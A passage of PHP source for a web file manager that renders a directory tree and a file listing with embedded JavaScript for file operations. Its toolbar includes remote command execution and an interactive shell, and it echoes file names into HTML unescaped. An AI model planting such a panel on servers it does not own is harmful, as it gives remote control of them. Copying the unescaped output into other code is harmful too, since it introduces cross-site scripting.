                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"> $fm_current_root</a></nobr><br>\n";
              }
            }
        } else {
            // denied
            if ($dir_before != $dir_current){
                for ($aux=1;$aux<$indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
                echo "<b>[&nbsp;&nbsp;]</b>";
                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
            } else {
                echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
            }

        }
    } else {
        // denied
        if ($dir_before != $dir_current){
            for ($aux=1;$aux<$indice;$aux++) echo "&nbsp;&nbsp;&nbsp;&nbsp;";
            echo "<b>[&nbsp;&nbsp;]</b>";
            echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $dir_name</font></a></nobr><br>\n";
        } else {
            echo "<nobr><a href=\"JavaScript:go('$dir_current')\"><font color=red> $fm_current_root</font></a></nobr><br>\n";
        }
    }
}
function show_tree(){
    global $fm_current_root,$path_info,$setflag,$islinux,$cookie_cache_time;
    html_header("
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        function saveFrameSize(){
            if (getFrameSize()){
                var exp = new Date();
                exp.setTime(exp.getTime()+$cookie_cache_time);
                setCookie('leftFrameWidth',frameWidth,exp);
            }
        }
        window.onresize = saveFrameSize;
    //-->
    </script>");
    echo "<body marginwidth=\"0\" marginheight=\"0\">\n";
    echo "
    <script language=\"Javascript\" type=\"text/javascript\">
    <!--
        // Disable text selection, binding the onmousedown, but not for some elements, it must work.
        function disableTextSelection(e){
			var type = String(e.target.type);
			return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
		}
        function enableTextSelection(){return true}
        if (is.ie) document.onselectstart=new Function('return false')
        else {
            document.body.onmousedown=disableTextSelection
            document.body.onclick=enableTextSelection
        }
        var flag = ".(($setflag)?"true":"false")."
        function set_flag(arg) {
            flag = arg;
        }
        function go_dir(arg) {
            var setflag;
            setflag = (flag)?1:0;
            document.location.href='".addslashes($path_info["basename"])."?frame=2&setflag='+setflag+'&current_dir=".addslashes($current_dir)."&ec_dir='+arg;
        }
        function go(arg) {
            if (flag) {
                parent.frame3.set_dir_dest(arg+'/');
                flag = false;
            } else {
                parent.frame3.location.href='".addslashes($path_info["basename"])."?frame=3&current_dir='+arg+'/';
            }
        }
        function set_fm_current_root(arg){
            document.location.href='".addslashes($path_info["basename"])."?frame=2&set_fm_current_root='+escape(arg);
        }
        function atualizar(){
            document.location.href='".addslashes($path_info["basename"])."?frame=2';
        }
    //-->
    </script>
    ";
    echo "<table width=\"100%\" height=\"100%\" border=0 cellspacing=0 cellpadding=5>\n";
    echo "<form><tr valign=top height=10><td>";
    if (!$islinux){
        echo "<select name=drive onchange=\"set_fm_current_root(this.value)\">";
        $aux="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        for($x=0;$x<strlen($aux);$x++){
			if ($handle = opendir($aux[$x].":/")){
    			@closedir($handle);
	            if (strstr(uppercase($fm_current_root),$aux[$x].":/")) $is_sel="selected";
	            else $is_sel="";
	            echo "<option $is_sel value=\"".$aux[$x].":/\">".$aux[$x].":/";
			}
        }
        echo "</select> ";
    }
    echo "<input type=button value=".et('Refresh')." onclick=\"atualizar()\"></tr></form>";
    echo "<tr valign=top><td>";
            clearstatcache();
            tree($fm_current_root,$fm_current_root,-1,0);
    echo "</td></tr>";
    echo "
        <form name=\"login_form\" action=\"".$path_info["basename"]."\" method=\"post\" target=\"_parent\">
        <input type=hidden name=action value=1>
        <tr>
        <td height=10 colspan=2><input type=submit value=\"".et('Leave')."\">
        </tr>
        </form>
    ";
    echo "</table>\n";
    echo "</body>\n</html>";
}
function getmicrotime(){
   list($usec, $sec) = explode(" ", microtime());
   return ((float)$usec + (float)$sec);
}
function dir_list_form() {
    global $fm_current_root,$current_dir,$quota_mb,$resolveIDs,$order_dir_list_by,$islinux,$cmd_name,$ip,$path_info,$fm_color;
    $ti = getmicrotime();
    clearstatcache();
    $out = "<table border=0 cellspacing=1 cellpadding=4 width=\"100%\" bgcolor=\"#eeeeee\">\n";
    if ($opdir = @opendir($current_dir)) {
        $has_files = false;
        $entry_count = 0;
        $total_size = 0;
        $entry_list = array();
        while ($file = readdir($opdir)) {
          if (($file != ".")&&($file != "..")){
			$entry_list[$entry_count]["size"] = 0;
			$entry_list[$entry_count]["sizet"] = 0;
			$entry_list[$entry_count]["type"] = "none";
            if (is_file($current_dir.$file)){
                $ext = lowercase(strrchr($file,"."));
                $entry_list[$entry_count]["type"] = "file";
                // Funo filetype() returns only "file"...
                $entry_list[$entry_count]["size"] = filesize($current_dir.$file);
                $entry_list[$entry_count]["sizet"] = format_size($entry_list[$entry_count]["size"]);
                if (strstr($ext,".")){
                    $entry_list[$entry_count]["ext"] = $ext;
                    $entry_list[$entry_count]["extt"] = $ext;
                } else {
                    $entry_list[$entry_count]["ext"] = "";
                    $entry_list[$entry_count]["extt"] = "&nbsp;";
                }
                $has_files = true;
            } elseif (is_dir($current_dir.$file)) {
                // Recursive directory size disabled
                // $entry_list[$entry_count]["size"] = total_size($current_dir.$file);
                $entry_list[$entry_count]["size"] = 0;
                $entry_list[$entry_count]["sizet"] = "&nbsp;";
                $entry_list[$entry_count]["type"] = "dir";
            }
            $entry_list[$entry_count]["name"] = $file;
            $entry_list[$entry_count]["date"] = date("Ymd", filemtime($current_dir.$file));
            $entry_list[$entry_count]["time"] = date("his", filemtime($current_dir.$file));
            $entry_list[$entry_count]["datet"] = date("d/m/y h:i", filemtime($current_dir.$file));
            if ($islinux && $resolveIDs){
                $entry_list[$entry_count]["p"] = show_perms(fileperms($current_dir.$file));
                $entry_list[$entry_count]["u"] = get_user(fileowner($current_dir.$file));
                $entry_list[$entry_count]["g"] = get_group(filegroup($current_dir.$file));
            } else {
                $entry_list[$entry_count]["p"] = base_convert(fileperms($current_dir.$file),10,8);
                $entry_list[$entry_count]["p"] = substr($entry_list[$entry_count]["p"],strlen($entry_list[$entry_count]["p"])-3);
                $entry_list[$entry_count]["u"] = fileowner($current_dir.$file);
                $entry_list[$entry_count]["g"] = filegroup($current_dir.$file);
            }
            $total_size += $entry_list[$entry_count]["size"];
            $entry_count++;
          }
        }
        @closedir($opdir);

        if($entry_count){
            $or1="1A";
            $or2="2D";
            $or3="3A";
            $or4="4A";
            $or5="5A";
            $or6="6D";
            $or7="7D";
            switch($order_dir_list_by){
                case "1A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or1="1D"; break;
                case "1D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_DESC); $or1="1A"; break;
                case "2A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2D"; break;
                case "2D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"p",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC); $or2="2A"; break;
                case "3A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC); $or3="3D"; break;
                case "3D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC,"g",SORT_STRING,SORT_ASC); $or3="3A"; break;
                case "4A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_ASC,"u",SORT_STRING,SORT_DESC); $or4="4D"; break;
                case "4D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"g",SORT_STRING,SORT_DESC,"u",SORT_STRING,SORT_DESC); $or4="4A"; break;
                case "5A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_ASC); $or5="5D"; break;
                case "5D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"size",SORT_NUMERIC,SORT_DESC); $or5="5A"; break;
                case "6A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_ASC,"time",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or6="6D"; break;
                case "6D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"date",SORT_STRING,SORT_DESC,"time",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or6="6A"; break;
                case "7A": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_ASC,"name",SORT_STRING,SORT_ASC); $or7="7D"; break;
                case "7D": $entry_list = array_csort ($entry_list,"type",SORT_STRING,SORT_ASC,"ext",SORT_STRING,SORT_DESC,"name",SORT_STRING,SORT_ASC); $or7="7A"; break;
            }
        }
        $out .= "
        <script language=\"Javascript\" type=\"text/javascript\">
        <!--
        function go(arg) {
            document.location.href='".addslashes($path_info["basename"])."?frame=3&current_dir=".addslashes($current_dir)."'+arg+'/';
        }
        function resolveIDs() {
            document.location.href='".addslashes($path_info["basename"])."?frame=3&set_resolveIDs=1&current_dir=".addslashes($current_dir)."';
        }
        var entry_list = new Array();
        // Custom object constructor
        function entry(name, type, size, selected){
            this.name = name;
            this.type = type;
            this.size = size;
            this.selected = false;
        }
        // Declare entry_list for selection procedures";
        foreach ($entry_list as $i=>$data){
            $out .= "\nentry_list['entry$i'] = new entry('".addslashes($data["name"])."', '".$data["type"]."', ".$data["size"].", false);";
        }
        $out .= "
        // Select/Unselect Rows OnClick/OnMouseOver
        var lastRows = new Array(null,null);
        function selectEntry(Row, Action){
            if (multipleSelection){
                // Avoid repeated onmouseover events from same Row ( cell transition )
                if (Row != lastRows[0]){
                    if (Action == 'over') {
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) {
                                Row.className = 'entryUnselected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (unselect(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entryUnselected';
                                    }
                                }
                            }
                        } else {
                            if (select(entry_list[Row.id])){
                                Row.className = 'entrySelected';
                            }
                            // Change the last Row when you change the movement orientation
                            if (lastRows[0] != null && lastRows[1] != null){
                                var LastRowID = lastRows[0].id;
                                if (Row.id == lastRows[1].id){
                                    if (select(entry_list[LastRowID])) {
                                        lastRows[0].className = 'entrySelected';
                                    }
                                }
                            }
                        }
                        lastRows[1] = lastRows[0];
                        lastRows[0] = Row;
                    }
                }
            } else {
                if (Action == 'click') {
                    var newClassName = null;
                    if (entry_list[Row.id].selected){
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    } else {
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    }
                    if (newClassName) {
                        lastRows[0] = lastRows[1] = Row;
                        Row.className = newClassName;
                    }
                }
            }
            return true;
        }
        // Disable text selection and bind multiple selection flag
        var multipleSelection = false;
        if (is.ie) {
            document.onselectstart=new Function('return false');
            document.onmousedown=switch_flag_on;
            document.onmouseup=switch_flag_off;
            // Event mouseup is not generated over scrollbar.. curiously, mousedown is.. go figure.
            window.onscroll=new Function('multipleSelection=false');
            window.onresize=new Function('multipleSelection=false');
        } else {
            if (document.layers) window.captureEvents(Event.MOUSEDOWN);
            if (document.layers) window.captureEvents(Event.MOUSEUP);
            window.onmousedown=switch_flag_on;
            window.onmouseup=switch_flag_off;
        }
        // Using same function and a ternary operator couses bug on double click
        function switch_flag_on(e) {
            if (is.ie){
                multipleSelection = (event.button == 1);
            } else {
                multipleSelection = (e.which == 1);
            }
			var type = String(e.target.type);
			return (type.indexOf('select') != -1 || type.indexOf('button') != -1 || type.indexOf('input') != -1 || type.indexOf('radio') != -1);
        }
        function switch_flag_off(e) {
            if (is.ie){
                multipleSelection = (event.button != 1);
            } else {
                multipleSelection = (e.which != 1);
            }
            lastRows[0] = lastRows[1] = null;
            update_sel_status();
            return false;
        }
        var total_dirs_selected = 0;
        var total_files_selected = 0;
        function unselect(Entry){
            if (!Entry.selected) return false;
            Entry.selected = false;
            sel_totalsize -= Entry.size;
            if (Entry.type == 'dir') total_dirs_selected--;
            else total_files_selected--;
            return true;
        }
        function select(Entry){
            if(Entry.selected) return false;
            Entry.selected = true;
            sel_totalsize += Entry.size;
            if(Entry.type == 'dir') total_dirs_selected++;
            else total_files_selected++;
            return true;
        }
        function is_anything_selected(){
            var selected_dir_list = new Array();
            var selected_file_list = new Array();
            for(var x=0;x<".(integer)count($entry_list).";x++){
                if(entry_list['entry'+x].selected){
                    if(entry_list['entry'+x].type == 'dir') selected_dir_list.push(entry_list['entry'+x].name);
                    else selected_file_list.push(entry_list['entry'+x].name);
                }
            }
            document.form_action.selected_dir_list.value = selected_dir_list.join('<|*|>');
            document.form_action.selected_file_list.value = selected_file_list.join('<|*|>');
            return (total_dirs_selected>0 || total_files_selected>0);
        }
        function format_size (arg) {
            var resul = '';
            if (arg>0){
                var j = 0;
                var ext = new Array(' bytes',' Kb',' Mb',' Gb',' Tb');
                while (arg >= Math.pow(1024,j)) ++j;
                resul = (Math.round(arg/Math.pow(1024,j-1)*100)/100) + ext[j-1];
            } else resul = 0;
            return resul;
        }
        var sel_totalsize = 0;
        function update_sel_status(){
            var t = total_dirs_selected+' ".et('Dir_s')." ".et('And')." '+total_files_selected+' ".et('File_s')." ".et('Selected_s')." = '+format_size(sel_totalsize);
            //document.getElementById(\"sel_status\").innerHTML = t;
            window.status = t;
        }
        // Select all/none/inverse
        function selectANI(Butt){
        	cancel_copy_move();
            for(var x=0;x<". (integer)count($entry_list).";x++){
                var Row = document.getElementById('entry'+x);
                var newClassName = null;
                switch (Butt.value){
                    case '".et('SelAll')."':
                        if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                    break;
                    case '".et('SelNone')."':
                        if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                    break;
                    case '".et('SelInverse')."':
                        if (entry_list[Row.id].selected){
                            if (unselect(entry_list[Row.id])) newClassName = 'entryUnselected';
                        } else {
                            if (select(entry_list[Row.id])) newClassName = 'entrySelected';
                        }
                    break;
                }
                if (newClassName) {
                    Row.className = newClassName;
                }
            }
            if (Butt.value == '".et('SelAll')."'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='".et('SelNone')."';
                }
            } else if (Butt.value == '".et('SelNone')."'){
                for(var i=0;i<2;i++){
                    document.getElementById('ANI'+i).value='".et('SelAll')."';
                }
            }
            update_sel_status();
            return true;
        }
        function download(arg){
            parent.frame1.location.href='".addslashes($path_info["basename"])."?action=3&current_dir=".addslashes($current_dir)."&filename='+escape(arg);
        }
        function upload(){
            var w = 400;
            var h = 250;
            window.open('".addslashes($path_info["basename"])."?action=10&current_dir=".addslashes($current_dir)."', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function execute_cmd(){
            var arg = prompt('".et('TypeCmd').".');
            if(arg.length>0){
                if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
                    var w = 800;
                    var h = 600;
                    window.open('".addslashes($path_info["basename"])."?action=6&current_dir=".addslashes($current_dir)."&cmd='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
                }
            }
        }
        function decompress(arg){
            if(confirm('".uppercase(et('Decompress'))." \\' '+arg+' \\' ?')) {
                document.form_action.action.value = 72;
                document.form_action.cmd_arg.value = arg;
                document.form_action.submit();
            }
        }
        function execute_file(arg){
            if(arg.length>0){
                if(confirm('".et('ConfExec')." \\' '+arg+' \\' ?')) {
                    var w = 800;
                    var h = 600;
                    window.open('".addslashes($path_info["basename"])."?action=11&current_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
                }
            }
        }
        function edit_file(arg){
            var w = 1024;
            var h = 768;
            // if(confirm('".uppercase(et('Edit'))." \\' '+arg+' \\' ?'))
            window.open('".addslashes($path_info["basename"])."?action=7&current_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function config(){
            var w = 650;
            var h = 400;
            window.open('".addslashes($path_info["basename"])."?action=2', 'win_config', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function server_info(arg){
            var w = 800;
            var h = 600;
            window.open('".addslashes($path_info["basename"])."?action=5', 'win_serverinfo', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function shell(){
            var w = 800;
            var h = 600;
            window.open('".addslashes($path_info["basename"])."?action=9', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
        }
        function view(arg){
            var w = 800;
            var h = 600;
            if(confirm('".uppercase(et('View'))." \\' '+arg+' \\' ?')) window.open('".addslashes($path_info["basename"])."?action=4&current_dir=".addslashes($current_dir)."&filename='+escape(arg), '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=yes,resizable=yes,status=yes,toolbar=no,menubar=no,location=yes');
        }
        function rename(arg){
            var nome = '';
            if (nome = prompt('".uppercase(et('Ren'))." \\' '+arg+' \\' ".et('To')." ...')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=3&current_dir=".addslashes($current_dir)."&old_name='+escape(arg)+'&new_name='+escape(nome);
        }
        function set_dir_dest(arg){
            document.form_action.dir_dest.value=arg;
            if (document.form_action.action.value.length>0) test(document.form_action.action.value);
            else alert('".et('JSError').".');
        }
        function sel_dir(arg){
            document.form_action.action.value = arg;
            document.form_action.dir_dest.value='';
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else {
                if (!getCookie('sel_dir_warn')) {
                    //alert('".et('SelDir').".');
                    document.cookie='sel_dir_warn'+'='+escape('true')+';';
                }
                set_sel_dir_warn(true);
                parent.frame2.set_flag(true);
            }
        }
		function set_sel_dir_warn(b){
        	document.getElementById(\"sel_dir_warn\").style.display=(b?'':'none');
		}
		function cancel_copy_move(){
           	set_sel_dir_warn(false);
           	parent.frame2.set_flag(false);
		}
        function chmod_form(){
            cancel_copy_move();
            document.form_action.dir_dest.value='';
            document.form_action.chmod_arg.value='';
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else {
                var w = 280;
                var h = 180;
                window.open('".addslashes($path_info["basename"])."?action=8', '', 'width='+w+',height='+h+',fullscreen=no,scrollbars=no,resizable=yes,status=no,toolbar=no,menubar=no,location=no');
            }
        }
        function set_chmod_arg(arg){
            cancel_copy_move();
            if (!is_anything_selected()) alert('".et('NoSel').".');
            else {
            	document.form_action.dir_dest.value='';
            	document.form_action.chmod_arg.value=arg;
            	test(9);
			}
        }
        function test_action(){
            if (document.form_action.action.value != 0) return true;
            else return false;
        }
        function test_prompt(arg){
        	cancel_copy_move();
			var erro='';
            var conf='';
            if (arg == 1){
                document.form_action.cmd_arg.value = prompt('".et('TypeDir').".');
            } else if (arg == 2){
                document.form_action.cmd_arg.value = prompt('".et('TypeArq').".');
            } else if (arg == 71){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else document.form_action.cmd_arg.value = prompt('".et('TypeArqComp')."');
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(document.form_action.cmd_arg.value.length>0) {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        function strstr(haystack,needle){
            var index = haystack.indexOf(needle);
            return (index==-1)?false:index;
        }
        function valid_dest(dest,orig){
            return (strstr(dest,orig)==false)?true:false;
        }
        // ArrayAlert - Selection debug only
        function aa(){
            var str = 'selected_dir_list:\\n';
            for (x=0;x<selected_dir_list.length;x++){
                str += selected_dir_list[x]+'\\n';
            }
            str += '\\nselected_file_list:\\n';
            for (x=0;x<selected_file_list.length;x++){
                str += selected_file_list[x]+'\\n';
            }
            alert(str);
        }
        function test(arg){
        	cancel_copy_move();
            var erro='';
            var conf='';
            if (arg == 4){
                if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
                conf = '".et('RemSel')." ?\\n';
            } else if (arg == 5){
                if (!is_anything_selected()) erro = '".et('NoSel').".\\n';
                else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
                else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
                conf = '".et('CopyTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
            } else if (arg == 6){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else if(document.form_action.dir_dest.value.length == 0) erro = '".et('NoDestDir').".';
                else if(document.form_action.dir_dest.value == document.form_action.current_dir.value) erro = '".et('DestEqOrig').".';
                else if(!valid_dest(document.form_action.dir_dest.value,document.form_action.current_dir.value)) erro = '".et('InvalidDest').".';
                conf = '".et('MoveTo')." \\' '+document.form_action.dir_dest.value+' \\' ?\\n';
            } else if (arg == 9){
                if (!is_anything_selected()) erro = '".et('NoSel').".';
                else if(document.form_action.chmod_arg.value.length == 0) erro = '".et('NoNewPerm').".';
                //conf = '".et('AlterPermTo')." \\' '+document.form_action.chmod_arg.value+' \\' ?\\n';
            }
            if (erro!=''){
                document.form_action.cmd_arg.focus();
                alert(erro);
            } else if(conf!='') {
                if(confirm(conf)) {
                    document.form_action.action.value = arg;
                    document.form_action.submit();
                } else {
                    set_sel_dir_warn(false);
				}
            } else {
                document.form_action.action.value = arg;
                document.form_action.submit();
            }
        }
        //-->
        </script>";
        $out .= "
        <form name=\"form_action\" action=\"".$path_info["basename"]."\" method=\"post\" onsubmit=\"return test_action();\">
            <input type=hidden name=\"frame\" value=3>
            <input type=hidden name=\"action\" value=0>
            <input type=hidden name=\"dir_dest\" value=\"\">
            <input type=hidden name=\"chmod_arg\" value=\"\">
            <input type=hidden name=\"cmd_arg\" value=\"\">
            <input type=hidden name=\"current_dir\" value=\"$current_dir\">
            <input type=hidden name=\"dir_before\" value=\"$dir_before\">
            <input type=hidden name=\"selected_dir_list\" value=\"\">
            <input type=hidden name=\"selected_file_list\" value=\"\">";
        $out .= "
            <tr>
            <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
            <input type=button onclick=\"config()\" value=\"".et('Config')."\">
            <input type=button onclick=\"server_info()\" value=\"".et('ServerInfo')."\">
            <input type=button onclick=\"test_prompt(1)\" value=\"".et('CreateDir')."\">
            <input type=button onclick=\"test_prompt(2)\" value=\"".et('CreateArq')."\">
            <input type=button onclick=\"execute_cmd()\" value=\"".et('ExecCmd')."\">
            <input type=button onclick=\"upload()\" value=\"".et('Upload')."\">
            <input type=button onclick=\"shell()\" value=\"".et('Shell')."\">
            <b>$ip</b>
            </nobr>";
        $uplink = "";
        if ($current_dir != $fm_current_root){
            $mat = explode("/",$current_dir);
            $dir_before = "";
            for($x=0;$x<(count($mat)-2);$x++) $dir_before .= $mat[$x]."/";
            $uplink = "<a href=\"".$path_info["basename"]."?frame=3&current_dir=$dir_before\"><<</a> ";
        }
        if($entry_count){
            $out .= "
                <tr bgcolor=\"#DDDDDD\"><td colspan=50><nobr>$uplink <a href=\"".$path_info["basename"]."?frame=3&current_dir=$current_dir\">$current_dir</a></nobr>
                <tr>
                <td bgcolor=\"#DDDDDD\" colspan=50><nobr>
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" id=\"ANI0\" value=\"".et('SelAll')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"selectANI(this)\" value=\"".et('SelInverse')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"test(4)\" value=\"".et('Rem')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(5)\" value=\"".et('Copy')."\">
                    <input type=\"button\" style=\"width:80\" onclick=\"sel_dir(6)\" value=\"".et('Move')."\">
                    <input type=\"button\" style=\"width:100\" onclick=\"test_prompt(71)\" value=\"".et('Compress')."\">";
            if ($islinux) $out .= "
                    <input type=\"button\" style=\"width:100\" onclick=\"resolveIDs()\" value=\"".et('ResolveIDs')."\">";
            $out .= "
                    <input type=\"button\" style=\"width:100\" onclick=\"chmod_form()\" value=\"".et('Perms')."\">";
            $out .= "
                </nobr></td>
                </tr>
				<tr>
                <td bgcolor=\"#DDDDDD\" colspan=50 id=\"sel_dir_warn\" style=\"display:none\"><nobr><font color=\"red\">".et('SelDir')."...</font></nobr></td>
                </tr>";
            $file_count = 0;
            $dir_count = 0;
            $dir_out = array();
            $file_out = array();
            $max_opt = 0;
            foreach ($entry_list as $ind=>$dir_entry) {
                $file = $dir_entry["name"];
                if ($dir_entry["type"]=="dir"){
                    $dir_out[$dir_count] = array();
                    $dir_out[$dir_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:go('".addslashes($file)."')\">$file</a></nobr></td>";
                    $dir_out[$dir_count][] = "<td>".$dir_entry["p"]."</td>";
                    if ($islinux) {
                        $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
                        $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
                    }
                    $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
                    $dir_out[$dir_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
                    if ($has_files) $dir_out[$dir_count][] = "<td>&nbsp;</td>";
                    // Opes de diretrio
                    if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:if(confirm('".et('ConfRem')." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."&current_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
                    if ( is_writable($current_dir.$file) ) $dir_out[$dir_count][] = "
                        <td align=center><a href=\"JavaScript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
                    if (count($dir_out[$dir_count])>$max_opt){
                        $max_opt = count($dir_out[$dir_count]);
                    }
                    $dir_count++;
                } else {
                    $file_out[$file_count] = array();
                    $file_out[$file_count][] = "
                        <tr ID=\"entry$ind\" class=\"entryUnselected\" onmouseover=\"selectEntry(this, 'over');\" onmousedown=\"selectEntry(this, 'click');\">
                        <td><nobr><a href=\"JavaScript:download('".addslashes($file)."')\">$file</a></nobr></td>";
                    $file_out[$file_count][] = "<td>".$dir_entry["p"]."</td>";
                    if ($islinux) {
                        $file_out[$file_count][] = "<td><nobr>".$dir_entry["u"]."</nobr></td>";
                        $file_out[$file_count][] = "<td><nobr>".$dir_entry["g"]."</nobr></td>";
                    }
                    $file_out[$file_count][] = "<td><nobr>".$dir_entry["sizet"]."</nobr></td>";
                    $file_out[$file_count][] = "<td><nobr>".$dir_entry["datet"]."</nobr></td>";
                    $file_out[$file_count][] = "<td>".$dir_entry["extt"]."</td>";
                    // Opes de arquivo
                    if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:if(confirm('".uppercase(et('Rem'))." \\'".addslashes($file)."\\' ?')) document.location.href='".addslashes($path_info["basename"])."?frame=3&action=8&cmd_arg=".addslashes($file)."&current_dir=".addslashes($current_dir)."'\">".et('Rem')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_writable($current_dir.$file) ) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:rename('".addslashes($file)."')\">".et('Ren')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_readable($current_dir.$file) && (strpos(".wav#.mp3#.mid#.avi#.mov#.mpeg#.mpg#.rm#.iso#.bin#.img#.dll#.psd#.fla#.swf#.class#.ppt#.tif#.tiff#.pcx#.jpg#.gif#.png#.wmf#.eps#.bmp#.msi#.exe#.com#.rar#.tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) === false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:edit_file('".addslashes($file)."')\">".et('Edit')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_readable($current_dir.$file) && (strpos(".txt#.sys#.bat#.ini#.conf#.swf#.php#.php3#.asp#.html#.htm#.jpg#.gif#.png#.bmp#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:view('".addslashes($file)."');\">".et('View')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
                    if ( is_readable($current_dir.$file) && strlen($dir_entry["ext"]) && (strpos(".tar#.zip#.bz2#.tbz2#.bz#.tbz#.bzip#.gzip#.gz#.tgz#", $dir_entry["ext"]."#" ) !== false)) $file_out[$file_count][] = "
                                <td align=center><a href=\"javascript:decompress('".addslashes($file)."')\">".et('Decompress')."</a>";
                    else $file_out[$file_count][] = "<td>&nbsp;</td>";
